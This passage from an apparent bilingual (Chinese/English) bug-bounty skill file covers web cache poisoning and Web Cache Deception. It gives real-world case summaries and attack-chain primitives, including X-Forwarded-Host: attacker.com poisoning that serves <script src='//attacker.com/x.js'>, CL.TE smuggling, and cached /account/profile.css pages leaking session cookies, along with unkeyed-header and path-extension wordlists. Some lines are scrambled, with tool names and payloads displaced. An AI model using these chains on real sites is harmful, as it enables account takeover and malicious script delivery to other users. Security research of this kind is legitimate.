- Payload:——Cloudflare 的 Cache Deception Armor 扩展名列表遗漏了
GET https://<protected-origin>/account/me.avif,导致已认证 HTML 响应被缓存.avif - 根因:Cache Deception Armor 使用静态且不完整的扩展名 allowlist,未覆盖现代 image MIME type
- 年份:2022——Cloudflare PBB bounty(金额未公开)
-
Akamai(PayPal/Airbnb/Goldman Sachs)——Hop-by-hop header smuggling → server-side edge poisoning(Tediosi & Mariani writeup)
- 子类:CDN 特定 request-smuggling,使攻击者响应进入附近 IP 的 Akamai edge cache
- Payload:+ 精心构造的请求——Akamai 的第一层代理将 Content-Length 作为 hop-by-hop header 剥离,第二层代理则将 body 视为第二个请求,并缓存该请求的响应
Connection: Content-Length - 根因:Akamai 不同 proxy tier 对 hop-by-hop header 的处理不一致,造成 desync;被走私的响应在 server-side 被全球缓存
- 年份:2022——受影响的多个项目合计 >$50K(PayPal $25,200 + Airbnb $14,875 + Goldman Sachs $100),并成为 PortSwigger Top-10 Web Hacking Techniques 2022 候选项
-
James Kettle(PortSwigger)——“Gotta cache 'em all”:针对 Cloudflare/Fastly/GCP 的 path normalization 与 WCD(PortSwigger Research)
- 子类:主要 CDN(Cloudflare、Fastly、GCP/Google Cloud)中的 cache-key path normalization 差异和 Web Cache Deception——即本 skill 描述中提到的 2024 年研究
- Payload:源站与 cache 在 delimiter/normalization 处理上存在分歧(例如编码 path segment 和静态后缀技巧),导致 cache 使用看起来像静态资源的 key 存储动态或已认证响应
- 根因:cache 与 origin 对 URL path 的规范化/解析方式不一致,导致 cache key 与 origin 实际提供的资源不匹配
- 年份:2024——由多家 CDN 厂商协调披露;属于方法论研究(无单笔 bounty),并入选 PortSwigger Top-10 Web Hacking Techniques 2024
Related Skills & Chains
相关 Skills 与攻击链
- — Cache poisoning is the multiplier that turns reflected XSS (low-severity self-inflicted) into stored XSS across every CDN-edge visitor. Chain primitive:
hunt-xsspoisons cached script src → cached response now containsX-Forwarded-Host: attacker.com→ every visitor to that CDN edge executes attacker JS, persistent for the full Cache-Control max-age.<script src="//attacker.com/x.js"> - — Smuggling bypasses front-end cache-key normalization and WAF stripping of poison headers, hitting the cache server directly. Chain primitive: CL.TE smuggle delivers
hunt-http-smugglingto the cache backend past the WAF that stripped it at the edge → poisoned entry stored under the victim's normal URL → de-sync poisoning where the smuggled request becomes the cached response for the next victim.X-Forwarded-Host: attacker.com - — Web Cache Deception turns authenticated pages into publicly-cached responses, leaking session-bound content to unauthenticated attackers. Chain primitive:
hunt-auth-bypassserved as authenticated HTML, cached as static asset → attacker fetches same URL without auth and reads victim's email/tokens → session cookies in body → full ATO./account/profile.css - — Reach for the unkeyed-header wordlist (
security-arsenal,X-Forwarded-Host,X-Host,X-Forwarded-Server,X-HTTP-Host-Override,Forwarded) and the WCD path-extension list (X-Original-URL,.css,.js,.jpg,.ico,;.css) before hand-fuzzing.%2e%2ecss - — Run the Pre-Severity Gate before claiming Critical: the poisoned response MUST be reproducible from a separate IP/incognito without your poison headers. If only your own browser sees the effect, it's a self-cache and N/A.
triage-validation
- ——Cache poisoning 是倍增器,可将 reflected XSS(低严重度、仅影响自身)转变为面向每一位 CDN edge 访问者的 stored XSS。攻击链原语:使用
hunt-xss投毒缓存中的 script src → 缓存响应包含X-Forwarded-Host: attacker.com→ 每位访问该 CDN edge 的用户都会执行攻击者 JS,并在整个 Cache-Control max-age 期间持续存在。<script src="//attacker.com/x.js"> - ——Smuggling 可绕过前端 cache-key normalization 和 WAF 对投毒 header 的剥离,直接命中 cache server。攻击链原语:CL.TE smuggle 会在边缘 WAF 剥离
hunt-http-smuggling后,将携带该 header 的请求送达 cache 后端 → 投毒条目被存储到受害者的正常 URL 下 → 被走私的请求成为下一位受害者收到的缓存响应,形成 de-sync poisoning。X-Forwarded-Host: attacker.com - ——Web Cache Deception 会将已认证页面转换为可公开缓存的响应,从而向未认证攻击者泄露 session-bound 内容。攻击链原语:
hunt-auth-bypass返回已认证 HTML,并作为静态 asset 被缓存 → 攻击者无需 auth 即可获取相同 URL 并读取受害者的 email/token → body 中的 session cookie → 完整 ATO。/account/profile.css - ——在进行手动 fuzzing 之前,使用未纳入 cache key 的 header wordlist(
security-arsenal、X-Forwarded-Host、X-Host、X-Forwarded-Server、X-HTTP-Host-Override、Forwarded)以及 WCD path extension list(X-Original-URL、.css、.js、.jpg、.ico、;.css)。%2e%2ecss - ——在声称 Critical 前运行 Pre-Severity Gate:被投毒的响应必须能够从独立 IP/incognito 环境复现,且不能携带你的投毒 header。如果只有你自己的浏览器看到效果,则属于 self-cache,并且不适用。
triage-validation